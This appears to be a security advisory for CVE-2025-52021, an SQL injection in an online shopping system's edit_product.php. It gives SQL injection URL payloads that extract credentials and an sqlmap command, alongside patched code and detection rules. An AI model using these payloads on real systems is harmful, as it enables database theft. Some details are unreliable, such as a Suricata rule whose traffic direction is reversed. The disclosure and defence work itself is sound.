CVE-2025-52021

Executive Summary

CVE-2025-52021 is a critical SQL Injection vulnerability in the PuneethReddyHC Online Shopping System Advanced 1.0, specifically within the edit_product.php file. The product_id GET parameter is passed directly into a SQL query without sanitization or parameterization, allowing unauthenticated remote attackers to execute arbitrary SQL commands. This can lead to full database compromise, including extraction of user credentials, payment data, and administrative access. The vulnerability has a CVSS v3.1 base score of 9.8 (Critical) due to network exploitability, low attack complexity, and no required privileges or user interaction. No official patch exists, and the vendor has not responded to disclosure attempts. Public proof-of-concept code is available, increasing the risk of active exploitation.

Supply Chain & Package Security

This is a custom PHP application, not a package from NPM, PyPI, Go, or Ruby. However, the application may rely on third-party PHP libraries or themes. Users should audit all dependencies for known vulnerabilities and ensure no outdated or unmaintained components are in use.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Threat Level: Critical. The vulnerability is trivial to exploit, requires no authentication, and can lead to complete database takeover. Public exploit code accelerates weaponization.

Deep Dive & Mechanics

The vulnerability resides in edit_product.php. The product_id parameter from the HTTP GET request is directly concatenated into a SQL query without any sanitization, prepared statements, or parameterized queries. A typical vulnerable code snippet would look like:

$id = $_GET['product_id'];
$query = "SELECT * FROM products WHERE id = $id";
$result = mysqli_query($conn, $query);

An attacker can inject SQL by appending malicious payloads to the product_id parameter, such as:

http://target.com/edit_product.php?product_id=1 UNION SELECT username,password FROM users

This allows the attacker to retrieve arbitrary data from the database, modify records, or even execute operating system commands if the database user has sufficient privileges.

Vulnerable vs. Patched Code

Vulnerable Code (edit_product.php):

<?php
$id = $_GET['product_id'];
$sql = "SELECT * FROM products WHERE id = $id";
$result = mysqli_query($conn, $sql);
?>

Patched Code (using prepared statements):

<?php
$id = $_GET['product_id'];
$stmt = $conn->prepare("SELECT * FROM products WHERE id = ?");
$stmt->bind_param("i", $id);
$stmt->execute();
$result = $stmt->get_result();
?>

The patched version uses a prepared statement with a parameterized query, which prevents SQL injection by separating SQL logic from user input.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target running PuneethReddyHC Online Shopping System Advanced 1.0
• Network access to the web server

Exploitation Steps:

1. Identify the vulnerable endpoint:

   http://target.com/edit_product.php?product_id=1
   

2. Test for SQL injection using a simple payload:

   http://target.com/edit_product.php?product_id=1'
   

   If an error is returned (e.g., You have an error in your SQL syntax), the endpoint is vulnerable.

3. Extract database version:

   http://target.com/edit_product.php?product_id=1 UNION SELECT @@version,2,3
   

4. Extract table names:

   http://target.com/edit_product.php?product_id=1 UNION SELECT table_name,2,3 FROM information_schema.tables
   

5. Extract user credentials:

   http://target.com/edit_product.php?product_id=1 UNION SELECT username,password,3 FROM users
   

Example SQLMap command:

sqlmap -u "http://target.com/edit_product.php?product_id=1" --batch --dbs

Blue Team (Detection & Defense)

Detection:

• Monitor web server logs for abnormal GET requests to edit_product.php containing SQL keywords (UNION, SELECT, OR, AND, etc.).
• Deploy a Web Application Firewall (WAF) with rules to block SQL injection patterns.
• Use database activity monitoring to detect anomalous queries.

Defense:

• Immediately apply input validation and parameterized queries (see patched code).
• Restrict database user privileges to the minimum required.
• Implement a Content Security Policy (CSP) and use HTTP-only cookies.
• Regularly audit code for similar vulnerabilities.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP GET requests to /edit_product.php with product_id containing SQL keywords (e.g., UNION, SELECT, OR 1=1).
• Unusual database error messages in HTTP responses (e.g., You have an error in your SQL syntax).

File IOCs:

• Modified edit_product.php file (if attacker uploads a webshell).
• Suspicious files in the web root (e.g., cmd.php, shell.php).

Log IOCs:

• Web server logs showing repeated requests to edit_product.php with varying product_id values.
• Database logs showing queries with UNION or OR clauses originating from the web application user.

Detection Engineering

YARA Rule

rule CVE_2025_52021_SQLi_Detect {
    meta:
        description = "Detects SQL injection attempts targeting edit_product.php"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-52021"
    strings:
        $s1 = "edit_product.php" nocase
        $s2 = "product_id=" nocase
        $s3 = "UNION" nocase
        $s4 = "SELECT" nocase
        $s5 = "OR" nocase
        $s6 = "1=1" nocase
    condition:
        $s1 and $s2 and ($s3 or $s4 or ($s5 and $s6))
}

Sigma Rule

title: SQL Injection Attempt on edit_product.php
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects SQL injection attempts targeting CVE-2025-52021
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: GET
        cs-uri-stem: '/edit_product.php'
        cs-uri-query|contains: 'product_id='
    keywords:
        - 'UNION'
        - 'SELECT'
        - 'OR 1=1'
        - 'OR 1=2'
        - 'AND 1=1'
    condition: selection and keywords
falsepositives:
    - Legitimate use of product IDs containing these strings (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-52021 SQL Injection Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/edit_product.php"; http_uri; content:"product_id="; http_uri; pcre:"/(UNION|SELECT|OR\s+1=1|AND\s+1=1)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the application from the internet until a fix is applied.
2. Apply the patched code (prepared statements) to edit_product.php and audit all other PHP files for similar vulnerabilities.
3. Change all database credentials and revoke any unnecessary privileges.

Long-Term Fixes:

• Replace all raw SQL queries with parameterized queries or stored procedures.
• Implement a Web Application Firewall (WAF) with SQL injection rules.
• Conduct a full security audit of the application code.
• Consider migrating to a maintained e-commerce platform.

Vendor Communication:

• Since the vendor is unresponsive, users should fork the repository and apply patches independently, or switch to an alternative solution.

Valters IT